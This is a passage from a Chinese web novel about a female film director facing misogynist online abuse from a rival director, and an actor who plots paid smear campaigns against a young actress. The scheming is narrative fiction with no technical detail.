她电影镜头中的母亲是细腻的温柔的,哪怕只有争吵,但那些温暖都藏在一言一行中,她的镜头中母亲看向你的眼神是带着欣赏和骄傲的,她的镜头中的母亲可以潇洒自由,可以是职场女强人,也可以是为了追求自由而离婚开始新生活的女性。 她的影片中有各式各样性格的女性,她在用电影告诉世界,女性不是片面的,而是多元化的,是美好的,是有独属于自己灵魂的。 她镜头中的母亲,先是自己才是母亲,而不是男性电影中完全刻板印象的只为了儿女操劳付出失去自我的母亲。 第1069章 你没有妈妈吗? 她镜头中的母亲也好女性也好,不会失去自我,她们追求的是独属于自己更好的生活。 秦扬帆一部描写女性的《暖阳》在上映后遭到大批量男性导演的批判。 他们批判秦扬帆试图掀起男女对立,他们批判秦扬帆是间谍,他们批判秦扬帆这部电影必须被下架,因为会降低结婚率和生育率。 其实很可笑。 一部让女性爱自己不去被男性和儿女奴役活出自我的电影就会降低结婚率和生育率。 导演“冯吴德”因此特地开麦狂喷秦扬帆。 {秦扬帆就是那种已经疯掉的女人,她大概是不能生,又或者没有人爱她没有人肯施舍给她爱意的时候她就已经疯了,她不是在教女性爱自己,而是在教女性变得更加自私,她的这部《暖阳》会动摇我们国家的根基,这部电影必须下架!} 事实上,冯吴德这样狂喷秦扬帆,只是因为他有一部跟秦扬帆《暖阳》同期 ,但却被秦扬帆《这部》暖阳彻底碾压。 《暖阳》电影票房三十亿,但冯吴德的电影票房只有五亿惨淡收场。 因为票房差距过大,冯吴德怒而发文嘲讽秦扬帆。 可就是一部呼吁女性爱自己的电影怎么就动摇国本了呢?如果这是国本……不,这哪里是华国的国本呢?难道不是那些男性导演狐疑混淆视听颠倒黑白吗? 《暖阳》讲述的是什么,是两名迥然不同的女性,一个已为人妇人母,一个还未步入社会,随着剧情的推动,她们在其中成长甚至活出了自己的风采,有了自己的追求自己的生活,年长的女性会教年轻的女性学会乐观微笑的面对这世界的很多悲剧,去接受人世间百态,年轻女性会教会年长女性看到她身上特有的灵魂。 她们都学会如何成为最好的自己。 《暖阳》不过是告诉女性不要被轻易定义。 其中过程中发生很多温馨却啼笑皆非的事情,最后的结局自然是温暖而治愈的。 看完的人都会觉得内心暖暖的,然后酸胀起来,她们走出电影院的第一时刻都会不约而同的想到那个味自己操劳大半辈子的母亲就,就是那个瞬间,她们想要回家抱一抱自己的母亲,告诉她,自己很爱她,告诉她,感谢她味自己付出了自己的追求和自由和人生的向往。 有一个年轻大学生带着自己的母亲去看了《暖阳》从电影院出来,女大学生就很黏她的母亲,她其实也因为那部电影感动。 她的母亲一直说拍的真好,但也只是说了这些,女大学生还以为她母亲的感触不深,还当是母亲跟这部电影有代沟。 直到深夜女大学生起床去洗手间,看到母亲房间的灯还亮着,打开后就发现母亲抱着外祖母的照片在偷偷抹眼泪。 是的,她的外祖母去世很久了。 原来她的母亲不是没有回应,不是没有感触,而是因为她已经是一位母亲了,她已经是女儿最后的依靠和支柱了,所以不管发生什么事她都要强撑着不许自己掉眼泪,只能在深夜偷偷的抹眼泪。 直到那一刻,女大学生才突然感觉莫名的心慌害怕。 也是那一刻才真切的明白,她的母亲没有妈妈了。 透过母亲的影子,女大学生恍恍惚惚的好像看到了未来失去母亲的自己。 所以从那天开始,女大学生对自己的母亲有了更多更多的爱,她想让自己的母亲知道自己到底有多爱她。 这样一部温馨的电影却让男性导演破大防。 因为在他们眼里,女人就不该吃这碗饭,事实上,只要是高薪水的工作,他们都会觉得不适合女性。 就像这时候初出茅庐的秦扬帆。 当时秦扬帆自然看到了冯吴德的博文回应嘲讽。 秦扬帆只回了一句话。 她没有骂脏话,更没有生气。 秦扬帆回应了。 {你只有父亲吗。} 一句话。 很平静的一句话。 翻译过来就是,你没有妈妈吗? 你只有父亲,怪不得你这样自私,你跟你的父亲是一样的人。 一句话让冯吴德彻底破防,因为冯吴德的母亲跟他的父亲早早离婚了,他确实是没怎么跟母亲生活过,他话语中极尽嘲讽他自己的母亲。 秦扬帆又回。 {你的母亲忽略你,那你的父亲是辞掉了工作每天照顾你吗?} {你在为什么生气呢?因为你的母亲找到了自己的追求,所以你只能念住宿时的学校不是吗?你知道你念住宿学校的原因吗?因为你的父亲不会为了你辞掉工作不会为了你在家中学做饭,不会为了你洗衣收拾房间,可很明显在意眼中母亲就该是这样的全能保姆。} {你不爱你的母亲,如果是我,我的母亲逃离婚姻的牢笼,我会为我的母亲高兴,我会为她找到自己的追求而开心。} {这就是女性和男性看一件事的差别。} {你看你的母亲只能看到她抛弃你,却没想过你的父亲也从来没有真正照顾过你。而女性看母亲,会看到她身上更多的闪光点,提供更多的情绪价值。} {你一直不停歇的攻击我,其实也进一步证明了你对失去你母亲这个免费的保姆有多气愤} {你攻击的也不是我,你攻击的是所有女性,为什么你不从你自己身上找一找原因,为什么不觉得你的电影是在物化女性,物化女性的角色,女性怎么会喜欢看呢。} 秦扬帆并不是在攻击冯吴德,她是在实话实说。 导演系的怎么可能没看过大导的电影,就是因为看过才知道这些导演的电影对女性的伤害有多大。 秦扬帆只是想拍女性电影给女性看,她的电影中其实并没有丑化男性角色,她甚至担心在自己电影中稍有不慎可能会伤害都某些脆弱男性,几乎没有让电影中的父亲出场。 可恰恰如此,冯吴德从此处攻击秦扬帆对男性角色,说她完全忽略了男性角色对家庭的付出。 秦扬帆被冯吴德这样山刚上线气笑了,冯吴德甚至还买通了营销号大肆来恶意诋毁秦扬帆,说她对男性有意见,厌恶男性。 第1070章 攻击 众所周知,在网络上,攻击力最强,啊不,应该说嘴嘴臭的就是某部分男性,他们张口闭口把有关生殖器的辱骂词汇挂在嘴边。 秦扬帆的置顶微博下面乌烟瘴气,骂什么的都有。 她回冯吴德是不是只有父亲,就被一群腿毛追着骂问她是不是没有父亲,甚至夹杂着无数生殖器相关的辱骂。 评论区脏到让人看一眼就想关闭气压上升的地步,特别是秦扬帆的私信界面,更是不堪入目。 这群少部分男性纷纷跑到某电影评分软件恶意凭一星凭低分,然后不停的举报要求下架这部《暖阳》。 秦扬帆只是想拍一部属于女性的电影,献给那些在无声岁月里默默绽放光芒的女性。 她的镜头下,没有刻意丑化男性角色,父亲角色的缺位,不过是源于对现实生活的真实还原。 她甚至反复斟酌剧本,生怕某个细节会刺痛那些脆弱的灵魂。 可这份谨慎,在冯吴德眼里却成了攻击的靶心。 冯吴德像一只嗅到血腥味的秃鹫,扯着“歧视男性”的幌子扑了上来,煽动营销号掀起滔天恶浪。 “秦扬帆仇男!” “她的电影是女性对男性的全面审判!” “不配称为导演!” 这些刺眼的标题如毒箭般扎满社交平台。 更令人窒息的是,网络深处蛰伏的“键盘侠”们闻风而动,他们像被按下暴戾开关的傀儡,将最肮脏的词汇倾泻而出。 那些平日里藏在暗处的污言秽语,此刻像溃堤的粪水般喷涌,淹没秦扬帆的微博评论区。 秦扬帆的置顶微博成了垃圾场,每刷新一次,屏幕就被更恶心的言论刷新三观。 有人将她电影中的女性角色扭曲成“荡妇”,有人将“生殖器”词汇编织成诅咒,甚至有人PS她的照片,配上不堪入目的黄色涂鸦。 这些攻击者像一群戴着“男性权益”面具的暴徒,将性别对立化作凌迟的刀刃,肆意切割她的尊严。 最让她窒息的是私信界面。 打开手机,未读消息的红点以万计数,点开却是毒液般的谩骂,这些文字像带血的荆棘,刺得她指尖发抖。 而那些被冯吴德买通的营销号,仍在推波助澜。 他们截取电影片段断章取义,配上“女性霸凌男性”的煽动性标题,评论区里,一群被煽动的“腿毛”追着秦扬帆咬。 性别仇恨的烈火熊熊燃烧,他们不在乎真相,只享受用辱骂撕碎他人的快感。 这些评价里,鲜少有人真正看过电影,他们只是披着“正义”外衣的暴民,不停的摁着举报按钮。 电影评分直线跌落,平台不断收到“下架要求”。 她解释电影中父亲缺位是艺术表达,却被讥讽“狡辩”,她呼吁停止人身攻击,却被骂“玻璃心”。 网络暴徒们像嗜血的鲨鱼,闻到血腥味便更加疯狂。 她的微博账号被恶意举报,工作室电话被辱骂短信轰炸,连线下宣传活动都被抗议者围堵,举着“打倒仇男导演”的标语,仿佛她是十恶不赦的罪人。 网络上辱骂她的那些话也越来越多,秦扬帆本人已经到了完全扛不住的地步。 {为什么不管,为什么不管?为什么还让秦扬帆的继续在国内院线上映?零个人想看这种挑拨男女对立的电影好吗!} {建议全面封杀秦扬帆并彻查秦扬帆一家是不是间谍!她在故意挑起男女对立!} {冯吴德导演的电影才是好电影,应该多给冯吴德导演的电影多排片,我都不想说什么了,现在这个排片率,冯吴德导演的电影还不到百分之三十,剩下的几乎都是秦扬帆那部《暖阳》的排片,你看这像话吗?秦扬帆凭什么?就冲这排片冯吴德的电影票房都不可能特别高!强烈要求彻查!} {这部电影太可怕立刻!她在教女人不结婚不生孩子不照顾家庭!那还是女人吗!如果子宫不用来生孩子,那子宫还是什么?那不就是一块肉团吗?还当什么女人!} 破防的男性骂的越来越狠。而看过暖阳的女性都知道这部电影的立意有多好,所以看到这一幕会觉得内心悲凉。 女性站出来开始反驳这些男性的观点。 {到底是谁在挑起男女对立?秦扬帆说了什么?她只是说女性要好好爱自己,这就是你们所谓的挑起男女对立吗?她在电影中有说男性几句不好吗?她甚至担心你们破防几乎没有提到男性觉得,你们这样都要说秦扬帆挑起男女对立,那冯吴德的电影呢?多少次将女性刻画成没用的挂件?多少次故意让女性擦边露肉?好像我们女性活着就是为了取悦你们男性的?怎么?是我们喜欢看这种低俗女性擦边视频?怎么?是我们喜欢看冯吴德电影中讲黄色段子吗?} {挑起男女对立的电影分别是冯吴德的那些电影!} {竟然还敢说排片?你在搞笑吗?我是电影院工作的,知不知道电影排片到底多少要看前期的票房,上映前三天冯吴德那部《风云涌动》排了百分之六十还要多,而《暖阳》的排片只占了百分之二十,就这样,暖阳头一天的票房都快要跟《风云涌动》持平了这是最能直观说明《暖阳》就是比《风云涌动》好看,因为前期《暖阳》票房高,所以才有了后期的排片!电影院难道不需要赚钱吗?电影院不需要给员工发工资吗!难道我们就只给冯吴德的电影排片吗!不赚钱的话你们给我们发工资发奖品养我全家是吗!秦扬帆的电影能给我们赚钱那她的电影就是好电影!谁管你们这群癫子!骂这么多!真有本事你们自己开个电影院啊!你们开遍全国你们只放冯吴德的电影,赔到你裤衩不剩你也继续放!赔到你倾家荡产想跳楼!到时候你不放《暖阳》你放《风云涌动》你是这个(大拇指)} {笑死人,就好比有两家公司,一家男老板一家女老板,男老板给你开一个月三千,你振臂高呼你要为男老板忠心效力一样,而女老板一个月开一万元,你说她包藏祸心,有病!} 如果说别的相关的可能还有人喷,可这次是跟钱有关系啊! 第1071章 焦虑 娱乐圈电影方面的排片是这样的。 那位在电影院工作的人其实说的是没错的,但因为他的发言不少人开始嘲讽他说他是不是男的,男的竟然支持女性电影,嘲讽拉满。 那哥们也刚,一个个怼回去。 “我是男的我知道,你是不是人我不知道。” “蚕蛹你在叫什么?” “多了二两肉把你们得意的,真有本事别让你妈生你出来。” “怎么我们不推赚钱的电影我们推不赚钱的烂片你养我全家是不是?来来来,你给我打钱!来!” “你们挺轻松啊,上下嘴皮子一碰就要我们无脑推《风云涌动》,你们自己开电影院去,你们全放冯吴德的电影也没人管你们!我们就要放《暖阳》,没人逼你们看!” 哥们是真的脾气臭嘴也臭,谁骂他,他骂谁,谁的面子也不给了。 毕竟没人不喜欢钱。 这次如果不是因为《暖阳》他们的电影院都快要倒闭了,他都要没工作了,结果因为这部电影他们电影院被救回来了,还可以缓很久,他能不高兴吗? 网络上那群人说得轻松要这要那的,当是他们自己家吗? 离不离谱! 因为这位在电影院工作的小哥开口说了这些话,果然很多理性一些的人冒了出来,甚至是很多业内的人做了回应。 {电影排片这种确实是要看前三天的票房,最初排片最高的那些不是有资本力捧就是上面的主流电影,或者你可以理解为走关系塞了钱买排片,因为都希望自己的电影数据好看一些,所以第一天的排片可能会因为有流量加盟又或者其他因素有些电影的排片很好,就像冯吴德的电影,当年的天王巨星加盟,再加上现在很红的几个流量客串,可最后票房不也只有这点?不换《暖阳》换什么?这次电影院不是没给这部电影机会,是这部电影不争气啊!不换下来谁给电影院发工资呢?如果你们冯吴德导演可以给他们会开工资,那我相信这些电影院也是可以多给点排片的,要不你们问问冯吴德给不给工资?或者说你们众筹给电影院买点排片呢?} {这就好比你们学校的学生出国参加竞赛,你们不选成绩最优秀的,一定要选个学渣一样,学渣能争气吗?能给你捧奖杯奖金来吗?很明显不能!} {冯吴德明显就是被捧得高了,其实冯吴德这几年的电影质量都一般,冯吴德的电影出来我们只要看一眼就能猜到开头剧情和结尾了,反正不管什么剧情什么电影最后都一定会强行煽情,中间一定会有女性角色露胸露腿露身材!这种电影剧情放到十几二十年前那还能算是主流,但现在这种题材真的已经过时了,只有冯吴德还在坚持的拍这种没用的东西。} 网络上这些被吵的沸沸扬扬的,但暖阳也越来越火了。 非但没有被下架,还有更多人去看暖阳。 当时网络上的人在争吵,但国外却传来《暖阳》得奖的消息,近十年来都没有华人导演在国际上面得奖了,但秦扬帆那部电影得奖了,在国际上得奖,甚至评语都是提及其内核是温暖的治愈的。 国家媒体报道甚至还转发了这条新闻,特地为秦扬帆点赞,明确的表达态度。 事情都发展到这一步了,谁还找死的凑过去要得罪秦扬帆? 这还不明显?国家爸爸给秦扬帆当后台了。 就是拍的好,就是要给排片。 当时的电影院也提及秦扬帆得到的奖项真的长脸了,也因为这部电影,秦扬帆彻底踏进了这圈子。 秦扬帆的电影爆火,挖走了资本的一块大蛋糕,彻底的有了话语权。 而秦扬帆也尝试拍过四部电影十几部剧了,可以说这四部电影全部都大爆,有悬疑断案的,有讲述女性温馨故事的,有青春片的,甚至还有动画电影,但每一个都是大爆,票房最高的当属那个悬疑断案的,票房高达四十亿。 最开始还有人唱衰秦扬帆,说她迟早会翻跟头,但现在事实证明秦扬帆不会摔跟头,摔跟头的只有其它老一辈的导演。 他们还在组团想要攻击秦扬帆,但事实上秦扬帆根本没有放到心上,仍然拍自己的电影和电视剧。 她做到了同时在电影和电视剧这碗饭都吃上。 当初那个被所有人打压欺辱的秦导变成了现在这个在剧组掌握最高话语权的导演。 一切全都变了。 秦扬帆也正是踏入了资本圈,从那时候开始秦扬帆就已经不是谁都能随便欺辱的小导演了。 多少演员都想攀上秦扬帆这层关系的。 成唯也想,否则成唯今天不会来这里参加试镜还放话让人宣传说自己已经成功拿到了这个角色,说白了就是想给自己脸上贴金。 那可是秦扬帆,可不是什么没用的猫猫狗狗导演! 可实在是没有想到计划赶不上变化,竟然能多出来一个温栩栩。 成唯咬牙:“都已经到这一步了,我是不可能放过温栩栩了!” 反正已经把人得罪了,那就只能再进一步了。 “黎云笙虽然身份地位摆在这里,可黎家不是只有他一个,盛景炎是盛家少爷,可盛家还有个跟他处处作对的三少爷,韩城……算了,韩城就不必算在里面了,他大概过会儿就忘了今天的事了” 提到韩城成唯就无语,一个人怎么能那么幸运投胎到韩家却又那么愚蠢。 换谁谁不羡慕嫉妒的。 经纪人见成唯还想说更多,赶紧把人拽到车上。 “祖宗啊,别什么话都往外说,这可是在外面,你有话我们去车上说,别被人听到。” 经纪人还是聪明的,没敢让成唯继续在外面说些乱七八糟的。 成唯重重摔上车门,真皮座椅凹陷下去的瞬间,他仿佛要将所有的不甘与屈辱一同压进座位里。 车内空调冷气开到最大,却依然无法浇灭他胸腔里的火,烧的他几乎要开始焦虑烦躁。 第1072章 受害者 经纪人刘姐迅速将粉丝礼物堆到他面前,那些手写信封上歪歪扭扭的“唯唯子我爱你”被汗渍晕染,花束的塑料包装在颠簸中裂开,露出褪色花瓣。成唯皱眉的幅度几乎能夹死一只苍蝇,他厌恶地拨开信堆,一封手写信“啪”地掉落在脚边,信封上贴着的他亲笔签名照被踩进地毯缝隙。 “这些东西留着做什么?一群脑残粉写的废话,卖废品都嫌占地方!” 成唯烦躁的揉了把头,此刻甚至不想多说别的。 经纪人也知道他对粉丝其实没多少感情,说白了就是利用。 他扯过经纪人手中的毛绒玩偶,那是个仿照他代言形象制作的卡通人偶,圆滚滚的眼睛本该可爱,此刻却让他想起粉丝在机场围堵时伸出的无数手机镜头,那些镜头像饥饿的鲨鱼,只等着啃食他精心包装的每一寸皮肉。 刘姐躬身捡起玩偶,指尖划过被成唯扯断的装饰丝带。 她知道这位“明星”的脾气,对粉丝的示爱永远保持优雅微笑,转身就把应援礼物扔进储物间。那些手写信他从未看过一眼,甚至曾让团队将粉丝寄来的奢侈品礼物转手卖掉,差价全进了自己的小金库。 “成唯,冷静点。”刘姐将冰美式塞进他发抖的手里,“你现在需要的是资源,不是这些虚头巴脑的东西,不要因为这件事生气,沉住气。”冰块撞击杯壁的声响让他猛地回神,琥珀色液体顺着喉咙滑下,焦苦味冲淡了满口的酸涩。 经纪人趁机抛出计划:“赵女士那边一直等着你呢。她上次还说要给你投资一部大剧,只要你去哄哄她,钱、资源、人脉……全都能到位。你不是想报复温栩栩吗?与其在这儿砸东西,不如想想怎么把《灵媒》的风头抢过来。” 成唯握着杯子的指节发白,杯壁上的冷凝水珠顺着他颤抖的手腕滑落。 他当然记得赵女士,那个五十岁的富婆,喜欢用珠宝堆砌自己,更热衷于用金钱“收藏”年轻俊美的男演员。 当初他初入娱乐圈,就是靠着那张脸和几滴眼泪,从她手里拿到了人生第一部戏。 “赵女士喜欢什么?”他突然问,嗓音里带着算计的冷意。 刘姐立刻递上资料:“她最近迷上了古董珠宝展,下周六有个私人的拍卖会,她肯定会去。你要是能准备一件她心仪的藏品……” 成唯眼底闪过精光,那抹光像饿狼嗅到血腥。 他翻开手机相册,迅速找到秦扬帆《灵媒》的官宣海报,海报上温栩栩的侧脸在幽冥光影中若隐若现,这么快就发了宣传海报,甚至评论区全都是夸温栩栩漂亮的。 呵。 他被抛弃了,而剧组还敢这个时间发出温栩栩的照片。 秦扬帆是真的一点都不把他放到眼里了。 “冯吴德。”他吐出这个名字,舌尖在齿间碾出狠意,“那个老东西不是最恨秦扬帆吗?上次电影票房大战输了,到现在还在微博上阴阳怪气。只要我放出和秦扬帆闹掰的消息,他绝对会接我的剧。” 刘姐点头如捣蒜:“对!我们只要把《灵媒》的框架扒下来,改个名字提前开拍。赵女士投钱,冯吴德执导,再加上你的话题度……爆的可能性很大!” 成唯终于露出今晚第一个笑,那笑容像毒蛇蜕皮时的扭曲。 他抓起被踩脏的手写信,将信纸撕成碎片:“爆?我要让温栩栩连热搜边都蹭不上!粉丝?这些废物连撕资源的能力都没有,我要他们做什么?” 他抓起玩偶狠狠砸向车窗,卡通脑袋撞出一声闷响,填充棉絮从破洞里漏出,像成唯此刻一团团被撕碎的虚荣心。 成唯盯着那些飘散的棉絮,冷笑:“不过是个玩偶而已,就像他们对我的感情其实随时可能会被她们丢掉,等什么时候不爱了,这群粉丝比谁踩得都凶都狠……” 经纪人启动车辆,后视镜里映出他冷笑的一张脸。 她知道,这个年轻人从不是表面上的“清纯玉男”。 当初他能跪在投资方别墅门口淋三小时雨,只为求一个龙套角色,也能在走红后把合作过的十八线演员全部拉黑,只因对方敢在采访中提到他的过去。 “去准备古董拍卖会的礼物,最好要能讨赵女士欢心的。”成唯收起笑,语气恢复冷冽,“然后联系冯吴德的团队,我要亲自和他谈剧本。记住,把我和秦扬帆的矛盾炒大,越大越好。” 车窗外,粉丝的应援灯牌还在闪烁,他降下车窗,对着那些尖叫的人挥了挥手。 虚假的微笑再次挂上脸,但没人看见他转身时,将一杯冷掉的冰美式泼向垃圾桶的狠戾。 成唯清楚,娱乐圈的生存法则只有一个。 踩着别人的尸体往上爬。温栩栩今日踩了他,他明日就要用粉丝的尖叫、金主的钞票、导演的镜头,将对方碾成尘埃。 至于那些为他写情书的“蝼蚁”,不过是垫在他鞋底的泥土,脏了,就换一双新的。 他抚摸着手机屏幕上自己的精修照,指尖停在眼角那颗泪痣上。 这颗痣让他多了几分破碎感,也让他在权贵们的酒局上多了几分谈资。 成唯深吸一口气,将秦扬帆的官宣海报设为屏保,温栩栩的脸在幽蓝滤镜中显得阴森,而他要在三个月后,让这张脸变成全网嘲笑的丑闻主角。 “姐,通知团队,明天开始买通稿。标题就叫‘成唯试镜失利真相曝光:秦扬帆新戏暗藏黑幕?’”他笑着按下发送键,消息瞬间传达到公关部,“我们要让所有人都知道,我成唯,才是被资本打压的‘’受害者”。 车驶入霓虹灯海,成唯靠在椅背上,闭目假寐。 经纪人悄悄将粉丝礼物打包好,准备按他吩咐处理掉。 而他却不知道,那些被他嫌弃的礼物中,有一封信里藏着一位抑郁症粉丝最后的求救,字迹颤抖,却无人知晓。 第1073章 不能忍受温栩栩 成唯不在乎自己的粉丝,却又需要自己的粉丝为自己撕资源。 因为他心里清楚想要一直是顶流,那就需要一直有曝光一直有爆剧,否则迟早会被人超越被人遗忘 他不要这样的结局。 因为拍卖会不在今天,礼物什么的可以以后再送,现在的重点是成唯着急,所以经纪人赶紧给成唯联系赵女士,赵女士喜欢成唯,所以马上答应了,知道成唯想拍新剧,直接安排了助理给他进行投资,第一步就这么轻松的搞定了。 成唯这才联系上赵芳艺,打算邀约赵芳艺一起出演新剧。 成唯直接拉出了冯吴德的名头。 冯吴德虽然之前跟秦扬帆有过骂战,但本质上是知名大导演。 所以赵芳艺一听到冯吴德的名头就答应了见面。 两人约了个时间见面。 赵芳艺今天有杂志需要拍摄,所以来的时候妆都还没卸干净,脸上也有点疲惫。、 最近没有特别好的本子,所以赵芳艺就没接戏,休息的时候参与了一些综艺和访谈。 现在成唯联系说有冯吴德加盟的剧组,赵芳艺就觉得机会来了,妥了,这才来见成唯。 成唯在咖啡馆的VIP包厢里焦躁地转着手机,屏幕上的时间数字跳了三次,赵芳艺仍未现身。 包厢门被推开时,成唯迅速调整表情,嘴角扬起标准的微笑,绝不会让赵芳艺看到自己的不耐烦。 赵芳艺裹着香奈儿限量款风衣走进来,妆容确实如经纪人所说,杂志拍摄的半永久妆容未卸,暗红色唇膏在干燥的唇纹间裂开细痕,眼下遮瑕膏堆叠出斑驳的阴影。 她的发型倒是精心打理过,但那头烫染过度的卷发像枯草般垂在肩头,发尾分叉在灯光下清晰可见,不戴假发,发质是真的很差。 成唯很难不去想温栩栩的头发有多柔顺。 “芳艺姐。”成唯起身相迎,鼻尖掠过她身上浓烈的香水味,混合着化妆品残留的刺鼻气息。 赵芳艺摘下墨镜,那双被眼线勾勒得夸张的眼睛在成唯脸上扫过,疲惫中带着审视。 她随意将包甩在沙发角落,包链刮过大理石桌面,发出剐蹭的声响。 “今天杂志拍摄累死了,那群摄影师非要让我摆什么‘女王姿势’,我身体都快散架了。”她瘫进沙发,助理立刻递上温热的枸杞茶。成唯注意到她脖颈处的皮肤松弛,法令纹在笑意中加深,像两道干涸的沟壑。 那些营销号吹嘘的“冻龄女神”滤镜,此刻在现实里碎成渣。 特别是见过温栩栩、许愿和薛酒那些角色后,再看赵芳艺实在是太寡淡平常的容貌了。 他甚至此刻也觉得赵芳艺是不是营销的太过了,她是真的长相一般啊。 赵芳艺端起茶杯吹了吹,热气熏在她厚重的假睫毛上。 “听说你要拍新剧?还是冯吴德导演?”她抿了口茶,嗓音沙哑,像是常年烟酒过度留下的痕迹。 成唯压下内心的失望,将准备好的说辞娓娓道来:“对,芳艺姐。这次剧本绝对是大制作,冯导亲自操刀,题材对标秦扬帆的《灵媒》,但我们会加入更多商业元素。只要您跟着一起投资,女一号非您莫属。” 他刻意将“女一号”三个字加重,果然看到赵芳艺浑浊的眼珠亮了几分。 “冯吴德?那个和秦扬帆不对付的老头子?要是真能把他拉过来,确实有点意思……” 成唯趁机递上剧本大纲,指尖划过“投资回报分析”那页的夸张数字。 赵芳艺瞥了一眼,突然嗤笑:“这些数据都是你们团队做出来的吧?娱乐圈的投资哪有稳赚的?不过……”她拖长尾音,将茶杯重重搁在桌上,茶渍溅湿剧本边角,“看在你这么有诚意的份上,我先投五千万。不过女一号必须是我,而且男主得是你。” 成唯心中暗喜,他也没想到事情竟然真的这么顺利。 “还是芳艺姐给我面子。”成唯笑着哄她。 不过赵芳艺也不是傻子,嗤了一声开口:“说说吧,你不是去面试秦扬帆的《灵媒》了?是没选上还是怎么着?你的粉丝不是铺天盖地的刷你是秦扬帆选定的男主角了?怎么现在扭头就跟冯吴德合作了?秦扬帆和冯吴德之间的矛盾,那可是不混娱乐圈的人都知道的。” 成唯脸上的笑意僵了下,只觉得赵芳艺实在不会找话题。 他脸色这么难看,看着像想要提起这件事的模样? “是秦导那边选了一个十八线小演员当女主角……我本来打算请芳艺姐你来出演女主角,可被秦导拒绝了……所以我也不打算继续拍这部剧了。” 他委婉的回应。 赵芳艺也知道成唯内里是个什么性子,也知道这话是哄自己的,但她就是开心。 开心的同时开始埋怨秦扬帆。 “一个十八线比得上我?秦导也是老糊涂了,确实是上了年纪,不好沟通了。” 赵芳艺眼底都是鄙夷。 成唯干笑两声,他也实在是不知道赵芳艺是哪里来的自信。 秦扬帆虽然年纪大了,但是保养得宜,现在也还是年轻漂亮,温栩栩呢?更是花一样的年纪,除了没有流量和粉丝,其它的条件可都比赵芳艺好太多了。 但这话不能跟赵芳艺说,他还等着利用赵芳艺再爬一层呢。 跟赵芳艺确定好要一起合作后,成唯又说了不少好话哄人开心,直到赵芳艺需要赶下一个行程成唯才终于喘了口气。 可没想到他上车后,手机弹出温栩栩的广告推送。 少女在广告中笑容明艳,肌肤透亮如瓷,她再灯光下漂亮的有些晃眼,好像身上的裙子都沦为了陪衬,而她才是广告片中唯一的女主角 是星黛儿的一个宣传广告片。 成唯猛地关掉屏幕,对经纪人下令:“把赵芳艺的投资协议连夜送到冯吴德手里,明天我要看到官宣通稿。” 他完全不能忍了! 他现在不能接受再看到温栩栩,不然他觉得自己是真的要疯掉了。 第1074章 不能让温栩栩冒头! 成唯在心里因为温栩栩已经恨到牙根痒痒了。 他当然是喜欢漂亮女人的,但温栩栩已经优秀到对他构成威胁了,到什么程度呢?到现在听到温栩栩的名字就开始应激的程度。 他现在只想把温栩栩踩在脚下,绝对不能让温栩栩重新冒头! 温栩栩是绝对想不到有些人就是这样小心眼的,就因为试镜的时候试了几场戏就能让人对她恨之入骨。 有些人是这样的,只要自己被人压了一头就会记在心上。 成唯从有名气开始,一直都担心自己被压戏,所以只要比自己演技好的女主角和配角他几乎都是不合作的,当然,除非对方咖位真的比他大很多,或者是那种圈内演技非常好的老前辈。 他自认自己还能年轻,所以跟老前辈比演技肯定是比不过的,也不会落个群嘲的下场。 这一方面来看成唯还是很聪明的。 所以温栩栩出现后简直全都压在成唯心里最后一根弦上。 刚冒头的十八线,不,十八线开外的小艺人,漂亮到让人会完全忘记一旁的他,甚至演技都要完完全全的压住他。 如果跟温栩栩一起拍戏,他都能想到这部戏出来后会被网络上的人喷成什么样。 不要误会,当然不是喷温栩栩而是喷他。 说他不如一个新人演技好,说他演技僵硬,说他相貌平平,总归是那些贬义词都会归类到他的身上了。 所以成唯根本想都不敢想。 成唯深吸了一口气,眼底的冷意也愈发深了,这次只能靠网络营销了。 反正已经得罪黎云笙他们了,他也只能抱好其他大腿了,总不能因为黎云笙他们让自己被毁掉了,而且……他还真不信温栩栩一个小人物在这些大佬心里真的能重要到这种地步。 他现在只要休息就会想到试镜的时候被温栩栩压戏的事,这件事就是会控制不住的冒头。 试镜的时候,温栩栩台词出口的瞬间,整个片场仿佛被施了魔法,连见惯美人的投资方都屏住了呼吸。 而成唯呢?他穿着量身定制的西装,妆容精致到毛孔都隐形,却在她的光芒下成了黯淡的背景板。 那一刻,他听见有人在嘀咕:“成唯的演技好像没她自然……”这句话像一根毒刺,扎进他精心维护的体面里。 “她凭什么?”成唯低吼出声,声音在房间里回荡。 可现在经纪人不在,他也只能独自暗恨暗恼。 他抓起桌上的冰水灌入喉咙,液体顺着脖颈流入衣领,寒意却无法浇灭胸口的灼火。 温栩栩的出现,像一面镜子,照出他所有的不堪。 他靠谄媚金主换来的资源、靠营销团队包装的人设、靠替身完成的打戏……而她却仅凭一张脸和真实的演技,就轻松撕开了他苦心经营的帷幕。 但嫉妒深处,竟也藏着几分隐秘的羡慕。 成唯会想起温栩栩在镜头前那种浑然天成的灵气。 他花了那么久练习表情管理,却永远做不到她那种“不演而演”的松弛感。她像一块未经雕琢的璞玉,而他,是流水线生产的完美赝品。 这种认知让他愈发扭曲,他在心里觉得既然我得不到这样的天赋,那就毁掉它! “绝对不能让温栩栩冒头!”成唯几乎是在心底嘶吼。 经纪人才离开不久,他久已经翻出与经纪人的聊天记录,指尖在“黑通稿方案”上停留。 必须制造舆论风暴,先把她钉在“资源咖”的耻辱柱上。 他迅速打字:“联系营销号,把温栩栩试镜时的NG片段剪出来,配上‘耍大牌迟到’的标题。再找水军带节奏,说她背后有金主撑腰。” 手机屏幕亮起赵芳艺的来电,成唯迅速切换表情,嘴角扬起虚伪的弧度:“芳艺姐,关于新剧的宣传方案……对了,您认识《娱周刊》的王主编吗?我想安排个专访,顺便聊聊娱乐圈‘公平竞争’的话题。” 他故意将“公平”二字咬得极重。 成唯心里想的什么赵芳艺还不清楚吗? 虽然赵芳艺没有跟温栩栩正式碰头,但知道温栩栩跟自己演的是一类的剧,清楚自己的剧播出后会被跟温栩栩的角色对比,所以现在成唯打算设计温栩栩她绝对是双手赞同的。 电话那头传来赵芳艺沙哑的笑声:“成大事者不拘小节,你想怎么做就怎么做,钱不是问题。” 挂断电话后,成唯的眼底泛起冷光。 他知道,温栩栩最大的弱点就是“干净”。 没有背景、没有黑料、没有金主。 但娱乐圈的黑暗法则向来是……越干净的人,越容易被泼脏水。 他打开电脑,已经在联系私人侦探去和黑客去调查温栩栩这些年的一些资料,他要知道这些年温栩栩这两年是不是真的这么安安分分…… 只要她跟那些制片或者导演有一点暧昧,他就能让温栩栩在娱乐圈内彻底完蛋。 而且……秦扬帆是大导演,但秦扬帆这个年纪了可一直没有结婚没有孩子,谁能确定秦扬帆喜欢的就是男人呢? 说不定秦扬帆荤素不忌男女都行呢? 